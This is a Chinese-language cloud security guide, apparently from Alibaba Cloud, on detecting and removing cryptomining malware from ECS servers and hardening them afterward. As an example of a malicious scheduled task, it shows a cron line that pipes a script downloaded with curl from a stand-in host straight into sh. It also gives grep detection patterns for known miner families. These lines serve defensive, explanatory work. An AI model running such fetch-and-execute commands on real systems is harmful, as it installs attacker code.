处理挖矿程序最佳实践

更新时间:
复制 MD 格式

云服务器ECS实例遭挖矿程序入侵后,会导致CPU资源耗尽、业务中断,甚至内网被蠕虫化渗透扩散。本文介绍从紧急止损、根源分析、多路径清理到长效安全加固的完整应急响应流程,帮助快速恢复系统安全。

挖矿入侵常见途径

ECS 服务器被植入挖矿程序通常不是因为硬件问题,而是安全防护不足导致。常见入侵途径如下:

  • SSH 弱口令暴力破解:攻击者扫描开放的 SSH 端口,使用字典破解弱密码,获取服务器权限后植入挖矿程序。

  • Redis 未授权访问:Redis 未设置密码或绑定了错误的 IP,攻击者利用 Redis 写文件功能植入挖矿脚本。

  • Web 应用漏洞:攻击者利用 RCE 或文件上传漏洞,直接在服务器上执行挖矿程序。

建议采取以下防护措施:

  1. 使用云安全中心病毒查杀定期扫描和清理挖矿程序(需防病毒版及以上版本支持)。

  2. 在安全组中限制可疑端口(如 51827),仅允许可信 IP 访问。

  3. 定期核查 SSH 公钥,清理非授权公钥。

挖矿程序的危害与识别

危害

  • 资源占用与损耗:挖矿程序占用CPU进行超频运算以获取虚拟货币,导致CPU资源严重消耗,直接影响服务器上其他业务应用的正常运行。

  • 蠕虫化传播:安全边界被突破后,挖矿病毒会迅速向内网渗透扩散,在被入侵的服务器上建立持久化驻留机制,确保长期获利。

  • 清除难度大:挖矿程序具有联动防护机制,清理不彻底会导致病毒反复感染。部分变种(如xorddos)会替换系统命令,执行正常系统命令时触发恶意脚本,增加清除难度。

识别途径

  • 性能急剧下降:服务器CPU使用率周期性或长时间持续在80%以上,导致业务应用响应缓慢或完全不可用。

  • 系统稳定性受损:挖矿程序的高负载运算可能导致系统崩溃或服务中断。

  • 接收安全告警:云安全中心检测到挖矿程序矿池通信行为访问恶意域名等告警时,会发送告警通知。

  • 检测机制说明:云安全中心的挖矿检测为后台自动识别机制,无独立的自服务检测工具。可在控制台检测响应 > 安全事件页面查看挖矿相关告警结果。

  • Webshell 前兆指标:发现 Webshell 后门文件是挖矿病毒植入的前兆指标。攻击者通常先上传异常 Webshell,随后安装并启动挖矿病毒。建议在安全事件列表中关注同一主机的 Webshell 告警与挖矿告警的时间先后关联关系。

应对策略

快速响应,彻底清除挖矿程序及其持久化后门,恢复服务器正常性能,并实施安全加固防止再次入侵。

成本与风险说明

  • 成本说明

    • 云安全中心病毒查杀深度查杀等高级功能需要购买防病毒版及以上版本,提供7天免费试用。

    • 无代理检测:此功能为按量付费服务,需单独购买无代理检测计费功能。

    • 应急响应服务:如果无法自行处理,可以购买阿里云应急响应服务,由专业安全工程师提供支持。

  • 风险提示

    • 手动清理风险:手动清理可能误删系统文件或修改配置,导致服务器无法启动或业务中断。建议操作前创建快照。

    • 数据丢失风险重新初始化系统盘会永久删除系统盘上的所有数据。若未提前创建快照,数据将无法恢复。

方案架构

本指南遵循"发现-止损-清理-加固"的应急响应模型,提供三种处置路径以适应不同技术能力和业务场景。

  1. 快速自检与紧急止损:在最短时间内识别威胁并控制事态,防止损失扩大。主要措施包括识别异常进程和网络连接,并通过安全组进行网络隔离。

  2. 决策与方案选择:根据技术水平、时间成本和风险偏好,从以下三种方案中选择最合适的清理路径:

    • 云安全中心自动化清理(推荐):利用云安全中心自动化工具,高效、准确地处理告警、查杀病毒和清理持久化后门。

    • 手动清理:适用于具备丰富Linux/Windows运维经验的专业人员,通过手动排查和执行命令进行系统深度清理。

    • 重置系统:当感染深入系统底层或反复出现时,备份数据后重新初始化系统盘,从根源上杜绝后患。

  3. 验证与安全加固:清理完成后验证系统无异常,并实施安全加固措施。

实施步骤

快速自检与紧急止损

收到告警或发现服务器性能异常时,首先执行初步诊断和紧急控制。

  1. 识别异常进程和网络

    • 检查高CPU进程:登录服务器,执行top -cps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more命令,查找长时间占用高CPU资源的未知进程。

    • 检查可疑网络连接:执行ss -ntpnetstat -antp命令,检查是否有与未知远程地址(特别是常见矿池端口如3333、5555、7775等)的连接。

  2. 执行紧急止损

    • 网络隔离(推荐):最快、最安全的止损方式。立即登录ECS控制台,修改服务器所在安全组规则,将出方向规则设置为全部拒绝,仅保留对可信IP的远程登录端口(如SSH 22RDP 3389)访问权限。此操作可瞬间切断挖矿程序与矿池的通信。

    • 终止恶意进程:对于已识别的恶意进程,执行kill -9 <PID>命令将其终止。这仅是临时措施,若未清除其持久化机制,进程很可能会重启。

云安全中心不提供独立的矿工 IP 排查工具,挖矿连接检测由后台自动执行。在检测响应 > 安全事件页面,查看异常网络连接异常网络流量类告警,获取矿工 IP 和矿池 IP 信息。

服务器状态说明

处置挖矿告警后,只要服务器保持无挖矿行为,云安全中心不会自动关停或锁定 ECS 实例。云安全中心是检测和告警服务,不具备实例关停能力。

  • 手动处理告警:在云安全中心控制台 > 安全告警页面,单击告警详情,选择我已手工处理

  • 自动过期:未手动处理的告警在 30 天后自动归档为已过期数据

执行清理

根据实际情况选择以下任一方案进行清理。

使用云安全中心自动化清理(推荐)

适用范围

  • 此方案要求已购买云安全中心防病毒版、高级版、企业版或旗舰版。

    说明

    开通 7 天企业版免费试用,也可以使用相关功能。

  • 若需进行全盘扫描,需开通无代理检测按量付费。

  • 确保目标服务器的云安全中心客户端处于在线状态。

步骤一:处置告警并终止恶意进程

使用云安全中心安全告警功能,可以终止恶意进程的运行并隔离病毒文件,快速阻断挖矿程序运行。详细内容,请参见评估及处理安全告警。示例操作如下:

  1. 登录云安全中心控制台

  2. 在左侧导航栏,选择检测响应 > 安全事件。在控制台左上角,选择需防护资产所在的区域:中国内地非中国内地

  3. 找到并单击挖矿告警操作列的详情,查看该告警的详细信息。

    重要

    根据云安全中心控制台提供的告警基础信息、事件说明等,结合AI告警分析能力提供的告警解释、溯源报告、查看告警主机存在的其他告警情况,可以找到挖矿程序的位置,以及确认是否存在其他告警或可疑文件。需要自行判断导致挖矿告警的文件是正常业务文件还是攻击者运行的文件。如果确认为攻击事件,建议处理挖矿程序告警后,一并处理该服务器上其他告警和可疑文件。

    在告警详情页面,还可以查看矿工 IP矿池通信目标 IP 信息,可将相关 IP 加入安全组禁用,以阻断挖矿通信。

  4. 返回安全告警列表,处理挖矿程序告警。

    1. 单击目标挖矿程序告警操作列的处理

    2. 在告警处理对话框,处理方式选中病毒查杀,然后选中结束该进程的运行结束进程并隔离源文件,并单击立即处理,防止该程序再次启动。

      如果确认导致挖矿告警的文件为非业务文件,建议选中结束进程并隔离源文件,以避免病毒文件进一步感染服务器。

      说明

      云安全中心支持同时处理相同告警(将相同规则或类型触发的告警进行归并,支持批量处理)功能。如果需要批量处理相同规则或类型触发的告警,可以选中同时处理相同告警(将相同规则或类型触发的告警进行归并,支持批量处理)

  5. 在安全告警列表,对挖矿事件产生的其他衍生告警(例如:矿池通信行为)执行阻断操作。

    说明

    云安全中心通过生成对应的策略防止服务器访问矿池,确保有充足的时间对安全事件进行处理。也可以手动将矿池IP加入安全组禁用。添加安全组的具体操作,请参见添加安全组规则

  6. 在安全告警列表,查看进程行为异常告警,确认是否存在异常的计划任务,并处理对应告警。

    说明

    安全中心告警详情面板中,告警名称为进程异常行为-Linux计划任务执行异常指令,状态为待处理。关键字段如下:

    • 进程名称:bash

    • 进程路径:/usr/bin/bash

    • 进程 ID:14075

    • 用户名:root

    • 命令行参数:/bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1

    事件说明:黑客入侵后将恶意 SHELL 脚本写入 crontab 或 systemd 计划任务以实现持久化运行。解决方案建议检查 /etc/crontab/var/spool/cron//var/spool/cron/crontabs/ 等目录下的可疑计划任务文件并加固系统密码。

步骤二:深度查杀与持久化清理

恶意进程被终止后,其自启动项、计划任务等持久化机制可能仍然存在。使用云安全中心的病毒查杀功能扫描并完成清理。具体操作,请参见病毒查杀。示例操作如下:

  1. 登录云安全中心控制台在左侧导航栏,选择防护配置 > 主机防护 > 病毒查杀。在控制台左上角,选择需防护资产所在的区域:中国内地非中国内地

  2. 病毒查杀页面,单击立即扫描重新扫描

  3. 扫描设置面板,设置扫描模式和扫描范围,然后单击确定

    • 扫描模式:选择快速扫描

    • 扫描范围:选择被挖矿程序攻击的服务器。

  4. 扫描完成后,在病毒查杀页面,单击目标告警操作列的处理

  5. 告警处理面板,选择深度查杀,单击下一步,等待系统处理告警。

  6. 处理完成后,在告警列表页查看处理结果和告警状态。

步骤三:全盘扫描

为确保无文件残留,可使用无代理检测功能进行离线全盘扫描。该功能仅支持检测,不支持修复,需要根据风险详情页的说明自行处理风险项。更多信息,请参见无代理检测使用指南

  1. 登录云安全中心控制台选择需防护资产所在的区域:中国内地非中国内地

  2. 无代理检测 > 主机安全检测页签的风险检测区域,单击立即检测

  3. 立即检测面板,参考如下说明完成配置后,单击确定

    • 扫描范围:建议勾选选中数据盘,数据源越完整,漏洞、告警等检测效果越好。

    • 快照/镜像保存时间

      • 取值范围为1~365,单位:天。

      • 创建快照或镜像会收取相关费用,快照或镜像保存天数越多收费越高。

        重要

        勾选仅保留存在风险的快照/镜像后,系统将在扫描结束后自动删除无风险快照或镜像。

  4. 创建任务后,云安全中心将自动创建快照或镜像,扫描等后续操作。更多信息,请参见自动创建快照和镜像

    说明

    需要扫描的服务器数据量越多,完成扫描任务所需的时间越长,请耐心等待任务完成。

  5. 等待检测任务完成后,查看并及时处理检测出的漏洞风险、基线检查、安全告警和敏感文件。

手动清理

挖矿程序会存放大量持久化后门,导致病毒难以清理。如果未购买云安全中心服务且遇到挖矿病毒,可采取以下措施排查和处理。

重要

此方案涉及修改文件及配置,执行前建议为服务器磁盘创建快照,以便在操作失误时恢复数据。

Linux系统

  1. 阻断恶意网络通信

    发现主机存在挖矿行为后,由于完整处理整个挖矿事件的周期较长,为及时控制挖矿影响,需要首先阻断挖矿木马的网络通信行为。

    1. 执行以下命令,查看当前系统网络连接状态。

      netstat -antp
      [root@ixxx poc]# netstat -antp
      Active Internet connections (servers and established)
      Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
      tcp        0      0 0.xxx:xxx               0.0.0.0:*               LISTEN      1399/sshd
      tcp        0      0 12xxx:xxx               0.0.0.0:*               LISTEN      1121/master
      tcp        0      0 127.0.0.xxx:xxx         0.0.0.0:*               LISTEN      8847/node
      tcp        0      0 0.0.xxx:xxx             0.0.0.0:*               LISTEN       572/rpcbind
      tcp        0      0 127.xxx:xxx             12x.x.x.1:xxx           ESTABLISHED 8988/node
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 127.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8847/node
      tcp        0      0 127.xxx:xxx             127.x.x.x              ESTABLISHED 8761/sshd: root@not
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             ESTABLISHED 17704/AliHips
      tcp        0      0 17x.xxx:xxx             18x.xxx:xxx             ESTABLISHED 16901/logrotate
      tcp        0      0 1xx.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp        0      0 1xx.xxx:xxx             100.xxx:xxx             TIME_WAIT   -
      tcp        0      0 1xx.xxx:xxx3            10x.xxx:xxx             ESTABLISHED 1506/AliYunDun
      tcp        0      0 17x.xxx:xxx22           14x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp6       0      0 :::xxx                  :::*                    LISTEN      1121/master
      tcp6       0      0 :::xxx                  :::*                    LISTEN       572/rpcbind
    2. 将以下命令中的c2地址替换为正常业务不会使用的可疑远程地址(Foreign Address),然后执行以下命令添加防火墙规则,阻断服务器与该可疑地址之间的所有网络连接。

      iptables -A INPUT -s c2地址 -j DROP
      iptables -A OUTPUT -d c2地址 -j DROP
  2. 清除计划任务

    挖矿木马常通过计划任务实现定期下载(更新)并启动挖矿木马。如果仅清理挖矿进程和挖矿木马文件,无法根治且会出现挖矿反复的情况。

    排查以下计划任务文件,删除计划任务中的挖矿木马下载和启动任务。

    • 查看当前用户或指定用户(username)的计划任务。

      crontab -l
      crontab -u username -l
    • 主机所有计划任务文件。

      /etc/crontab
      /var/spool/cron/
      /etc/anacrontab
      /etc/cron.d/
      /etc/cron.hourly/
      /etc/cron.daily/
      /etc/cron.weekly/
      /etc/cron.monthly/
  3. 清除自启动服务项

    1. 执行以下命令,排查系统所有自启动服务。

      systemctl list-unit-files | grep enabled
    2. 找到对应可疑服务的单元文件,排查服务详细信息。

      将命令中的*替换为服务名称,<service_unit_name>替换为服务的单元文件名称。

      ls -al /etc/systemd/system/*.service
      ls -al /usr/lib/systemd/system/*.service
      
      # 查看服务详细信息(服务启动的进程文件)
      cat /etc/systemd/system/<service_unit_name>.service
    3. 如果发现恶意的自启动服务项,使用以下命令禁用服务,删除对应单元文件。

      将命令中的<service name>替换为服务名称,<service_unit_name>替换为服务的单元文件名称。

      systemctl disable <service name>
      rm /etc/systemd/system/<service_unit_name>.service
      rm /usr/lib/systemd/system/<service_unit_name>.service
    4. 排查以下服务路径是否有自启动服务,然后参考以上步骤进行清理。

      /etc/rc.local
      /etc/inittab
      /etc/rc.d/
      /etc/init.d/
  4. 清除SSH公钥

    挖矿木马通常会将黑客SSH公钥写入~/.ssh/authorized_keys文件中,以便通过SSH免密登录受害主机并重新植入恶意文件。需要排查~/.ssh/authorized_keys文件,如果发现可疑公钥,立即删除。

  5. 清除.so劫持

    通过/etc/ld.so.preload文件设定预加载的.so文件,可以劫持常见的系统命令(如toppsnetstat等),达到隐藏挖矿进程的目的。

    1. 执行以下命令,排查预加载的.so文件。

      cat /etc/ld.so.preload
    2. 执行以下命令,删除预加载劫持。

      echo > /etc/ld.so.preload
  6. 清除恶意账号

    部分挖矿木马家族会创建新的后门账号以长期控制受害主机。执行以下命令,查看恶意账号,然后手动删除相关账号信息。

    • 通过日志查看近期是否有创建账号行为。

      cat /var/log/audit/audit.log | grep useradd
      # 或者
      cat /var/log/secure | grep 'new user'
    • 通过/etc/passwd文件查看是否有可疑账号。

      cut -d: -f1 /etc/passwd
    • 通过账户的home目录查看可疑账户的创建或最近活跃时间,需特别关注近期创建的home目录。

      stat /home/guest/
  7. 防修改对抗

    部分挖矿木马在写入计划任务、自启动等持久化文件后,会为对应文件设置不可更改的属性,防止持久化任务被删除。

    [root@iZxxx poc]# rm /etc/cron.hourly/logrotate
    rm: remove regular file '/etc/cron.hourly/logrotate'? y
    rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted
    [root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate
    bash: /etc/cron.hourly/logrotate: Permission denied
    [root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate
    ----i---------e-- /etc/cron.hourly/logrotate

    遇到此类情况可以执行以下命令,恢复文件属性后再删除对应任务。

    chattr -i /etc/passwd
    chattr -i /etc/crontab
  8. 清除挖矿木马进程

    1. 挖矿进程通常占用较高的CPU,通过以下命令可以排查可疑的挖矿进程。

      • 排查占用主机大量CPU的进程。

        top -c

        输出中关注 %Cpu(s) 行的 99.4 us(用户态 CPU 占用)以及进程列表中 /root/.config/logrotate 占用 395.0% CPU 的异常进程。

        top – 11:42:28 up 5 days,  1:30,  0 users,  load average: 2.71, 0.84, 0.32
        Tasks: 114 total,    1 running, 110 sleeping,   3 stopped,   0 zombie
        %Cpu(s): 99.4 us,  0.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
        KiB Mem :  7732792 total,  5724224 free,   562256 used,  1446312 buff/cache
        KiB Swap:        0 total,        0 free,        0 used.  6911024 avail Mem
        
          PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
        16901 root      20   0  320776   3220   2308 S 395.0  0.0   2:31.13 /root/.config/logrotate
        ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
        [root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
          PID  PPID CMD                         %CPU
        16901     1 /root/.config/logrotate      208
         8988  8847 /root/.vscode-server/bin/2d  3.9
      • 排查异常网络连接行为。

        netstat -antp

        输出中 16901/logrotate 进程存在异常 ESTABLISHED 网络连接,属于可疑行为。

        [root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp
        Active Internet connections (servers and established)
        Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
        tcp        0      0 0.xxx.xxx.xx            xxx.xxx.xxx             LISTEN      1399/sshd
        tcp        0      0 12x.x.x.xxx             0.x.x.x                 LISTEN      1121/master
        tcp        0      0 1xx.x.x.xxx             xxx.xxx.xxx             LISTEN      8847/node
        tcp        0      0 0.xxx.xxx               x.x.x.x                 LISTEN      572/rpcbind
        tcp        0      0 12x.xxx.x.xxxxx         127.0.0.1.xxxxx         ESTABLISHED 8988/node
        tcp        0      0 17x.xx.xxx.xxx.xxxxx    xxx                     TIME_WAIT   -
        tcp        0      0 17x.xx                  xxx.xxx                 TIME_WAIT   -
        tcp        0      0 1xx.x.0.1.xxxxx         xxx.xxx                 ESTABLISHED 8847/node
        tcp        0      0 12x.x.x.xxx             xxx                     ESTABLISHED 8761/sshd: root@not
        tcp        0      0 1x.xxx.xxx.xxxxx        xxx.xxx.xxx.xxx         ESTABLISHED 17704/AliHips
        tcp        0      0 172.xx.xxx.x:1200       xxx.xxx.x.xxx:xxx       ESTABLISHED 16901/logrotate
        tcp        0      0 12x.x.x.xxx:x           12x.xxx                 ESTABLISHED 8761/sshd: root@not
        tcp        0      0 17x.xx.xxx.xxxxx        xxx.xxx.xx.xxx.xx       TIME_WAIT   -
        tcp        0      0 17x.xx.xxx              xxx.xxx                 ESTABLISHED 1506/AliYunDun
        tcp        0      0 1xx.xx                  xxx                     ESTABLISHED 8761/sshd: root@not
        tcp6       0      0 :xxx                    xxx                     LISTEN      1121/master
        tcp6       0      0 :::xxx                  xxx                     LISTEN      572/rpcbind
      • 获取可疑进程的文件路径。

        ls -al /proc/$PID/exe
      • 计算对应进程文件的MD5值,在阿里云威胁情报平台查询对应文件信息。

        md5sum /proc/$PID/exe

        查询结果页面将展示以下信息:

        • 文件风险等级(如中危)及近期活跃度。

        • 文件详情,包括文件名称、运行环境、首次发现时间。

        • 哈希值信息,包括 MD5、SHA1、SHA256。

        • 威胁标签(如挖矿)。

    2. 执行以下命令,终止挖矿进程,并清理挖矿文件。

      kill -9 $PID
      # 删除 ls -al /proc/$PID/exe 获取的进程路径
      rm /path/to/executable

Linux系统(特定挖矿事件处理)

伪装AliyunDuns的挖矿

  1. 执行以下命令,排查持久化自启动项。

    grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/*
    grep -rl "wget"  /etc/cron.hourly/*
  2. 如果有返回结果,表示存在自启动服务项,执行以下命令,删除自启动服务项。

    rm -f /etc/systemd/system/sysetmd.service
    rm -f /etc/systemd/system/monero.service
    rm -f /etc/systemd/system/A_li_yun_Duns.service
    chattr -i /etc/cron.hourly/0
    rm -f /etc/cron.hourly/0
  3. 排查并处理异常用户。

    1. 执行以下命令查询系统用户列表,锁定异常用户名称。

      cat /etc/passwd
    2. 执行以下命令查看异常系统用户的信息。异常系统用户以shaojiang99为例。

      cat /etc/passwd | grep shaojiang99
      cat /etc/shadow | grep shaojiang99
    3. 执行以下命令删除异常系统用户。

      chattr -i /etc/passwd
      chattr -i /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/passwd

Skidmap手动处理

  1. 执行以下命令,删除自启动服务项。

    echo "" > /lib/systemd/system/systemd-cgroup.service
    echo "" > /lib/systemd/system/systemd-deltaed.service
    echo "" > /usr/bin/systemd-cgroup.org
    echo "" > /usr/bin/systemd-cgroup
    echo "" > /usr/bin/systemd-deltaed
    echo "" > /usr/bin/systemd-deltaed.org
  2. 用户手动恢复SSH公钥文件authorized_keys

Cleanfda手动处理

  1. 排查以下计划任务路径,查看计划任务是否存在可疑脚本执行(例如/etc/upat.sh)。

    /var/spool/cron/
    /etc/cron.d/
    /var/spool/cron/crontabs
    /etc/crontab
  2. 排查被修改过的命令(pspstreetop等原程序会被加上后缀.original进行重命名)。

    ls -al /usr/bin | grep original
  3. 排查SSH公钥,删除未知公钥。

    cat ~/.ssh/authorized_keys
    cat /root/.ssh/authorized_keys

示例:

# 恢复被修改的命令
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree

# 恢复计划任务文件编辑权限
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d

# 删除可疑计划任务、载荷
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2

# 删除可疑公钥
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keys

Outlaw家族挖矿

  1. 排查所有cron计划任务,查看是否存在.configrc5/字符串。

    • 计划任务路径:

      /var/spool/cron/root
      /var/spool/cron/
      /etc/cron.d/
      /var/spool/cron/crontabs
      /etc/crontab
    • 执行以下命令排查。

      grep -r ".configrc5/" /var/spool/cron/*
      grep -r ".configrc5/" /etc/cron*
  2. 如果存在,执行以下命令,删除相关文件。

    rm -rf /tmp/.X2xi-unix/.rsync
    rm -rf ~/.configrc5

kinsing家族挖矿

  1. 执行以下命令排查cron计划任务,查看是否存在类似gi.sh | bash > /dev/null的内容,如存在请删除该行。

    grep -r "gi.sh | bash > /dev/null" /etc/cron*
    grep -r "gi.sh | bash > /dev/null" /var/spool/cron/*
  2. 执行以下命令排查是否存在/lib/systemd/system/bot.service服务。

    cat /lib/systemd/system/bot.service 
  3. 如果存在以上服务,执行以下命令排查/etc/ld.so.preload,查看是否存在libsystem.so文件。

    cat /etc/ld.so.preload
  4. 排查到libsystem.so文件路径后,删除该文件。

Windows系统

  1. PowerShell中执行以下命令,通过CPU占用情况排查可疑的挖矿进程。

    说明
     ps | sort -des cpu
     While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}
  2. 执行以下命令,查看挖矿进程的磁盘文件、进程启动命令的参数。

    说明
    wmic process where processid=xxx get processid,executablepath,commandline,name     //xxx表示进程pid
  3. 结束挖矿进程,清除挖矿文件。

  4. 执行以下命令,检查主机连接的可疑网络端口。

    说明
    netstat -ano | findstr xxx            // xxx表示可疑的网络端口
  5. 执行以下命令,检查服务器中hosts文件是否存在挖矿程序的矿池地址。

    说明
    type  C:\Windows\System32\drivers\etc\hosts
  6. 执行以下命令,排查是否存在挖矿程序设定的计划任务。

    说明
    schtasks /query

重置系统

如果病毒入侵较深、手动清理后问题复现,或服务器上无关键业务数据,建议采用此方案。强烈建议在备份重要数据后,重置服务器的系统以确保完全清理挖矿程序。

  1. 创建快照备份服务器上的重要数据。具体操作,请参见手动创建单个快照

  2. 重新初始化系统盘:在ECS控制台选择目标实例,执行重新初始化系统盘操作。此操作会彻底清空系统盘,将其恢复至初始状态。具体操作,请参见重新初始化系统盘(重置操作系统)

  3. 使用快照生成云盘。具体操作,请参见使用快照创建数据盘

  4. 挂载云盘到重装系统后的服务器上。具体操作,请参见挂载数据盘

  5. 登录服务器,从挂载的数据盘中拷贝纯业务数据(如网站代码、数据库文件)。

    重要

    切勿从旧快照中恢复任何可执行文件、系统配置文件或脚本,以防再次引入后门。

购买应急响应服务

阿里云提供安全应急响应服务,由专业的安全技术人员帮助解决被病毒感染等问题。服务内容如下:

  • 全面清理系统中存在的木马、病毒、异常账号、异常文件、WebShell、暗链等问题。

  • 分析黑客入侵手法,查找入侵原因。

  • 指导用户进行安全加固。

更多信息,请参见应急响应服务

验证处理结果

完成清理后,必须进行验证和加固,以确保安全并防止问题重演。

  1. 再次扫描:使用云安全中心的病毒查杀无代理检测功能对服务器进行一次全面扫描,确认无任何告警。

  2. 性能监控:持续观察服务器的CPU使用率,确认其已恢复到正常水平。

  3. 周期性扫描验证:一次性扫描通过并不代表后门已彻底清除,部分挖矿后门会在定时任务或守护进程触发后重新落地。在云安全中心开启定期病毒查杀(或无代理检测)任务,并在清理后连续观察数个扫描周期,确认每一轮扫描均无挖矿相关告警,才能判定无残留后门。

  4. 告警监控验证:在云安全中心持续关注检测响应 > 安全事件中的挖矿、恶意进程与持久化类告警。清理后一段时间内没有同类告警重新产生,说明后门未再被触发;若同类告警再次出现,说明仍有残留的持久化项(如计划任务、启动项、SSH 公钥),需返回手动清理方案重新排查。

  5. 漏洞关联验证:挖矿程序通常通过系统或应用漏洞入侵,若入侵入口未修复,清理后仍会被重复利用。使用云安全中心的漏洞扫描功能确认本次入侵所利用的漏洞已修复,避免服务器在后门清除后再次被植入挖矿程序。

  6. 文件路径不存在时的处理:若邮件告警中指定的文件路径在服务器上不存在且 CPU 负载正常,可在安全事件列表中对告警执行忽略已手工处理。登录云安全中心控制台,选择检测响应 > 安全事件,找到对应告警,在操作列选择忽略已手工处理。执行后观察是否产生新告警,无新告警则该告警可安全忽略。

安全加固

  • 开启恶意主机行为防御:云安全中心提供的恶意主机行为防御功能可对挖矿程序进行精准拦截,从而在事前抑制挖矿事件的发生。更多信息,请参见主动防御

  • 访问控制强化

    • 安全组最小化授权:配置ECS安全组,仅开放必要的业务端口(如80、443)。对于SSH(22)和RDP(3389)等管理端口,务必设置为仅对可信的固定IP(如办公室网络或堡垒机IP)开放。

    • 密码策略:对数据库系统或文件系统(MySQL、PolarDB、MaxCompute、Redis、NAS、OSS)、服务管理后台(宝塔面板BT、Nacos服务等)、操作系统用户密码(SSH、RDP等)配置复杂密码,限制错误密码重试次数,防止密码被爆破入侵。

  • 漏洞与补丁管理

    • 及时更新:定期为操作系统和应用软件(如Web服务器、数据库)更新最新的安全补丁。

    • 漏洞扫描:利用云安全中心的漏洞扫描功能,主动发现并修复系统和应用中存在的漏洞。

  • 业务安全加固:业务代码上线前,进行代码安全测试或接入Web应用防火墙,防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,防止业务系统漏洞被利用导致入侵。

  • 凭据安全:避免在代码或配置文件中硬编码阿里云访问密钥(AccessKey)。推荐使用RAM角色或实例RAM角色为应用授权,遵循权限最小化原则。更多信息,请参见凭据的安全使用方案

  • 应用配置恢复:挖矿程序除占用CPU资源外,还可能篡改服务器上的应用配置文件(如RocketMQ的.properties文件、Nginx的.conf文件等),导致服务异常或建立持久化后门

    1. 查找被篡改的配置文件:执行以下命令查找近期被修改的配置文件,需覆盖.conf、.properties、.xml、.yml等多种后缀。

      find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3
      说明

      不要仅搜索.conf文件,部分应用(如RocketMQ)使用.properties格式配置文件,仅搜索.conf存在覆盖盲区。

    2. 创建快照备份:恢复配置前,必须先为ECS实例创建快照备份,因为直接修改配置可能导致服务启动失败。创建快照的具体操作,请参见创建快照

    3. 恢复配置文件:从快照或备份中恢复被篡改的配置文件,确认文件内容已还原为原始配置。

    4. 重启服务并验证:恢复完成后重启对应服务(例如RocketMQ通过mqshutdown/mqshutdownsrv命令重启),并验证服务功能正常。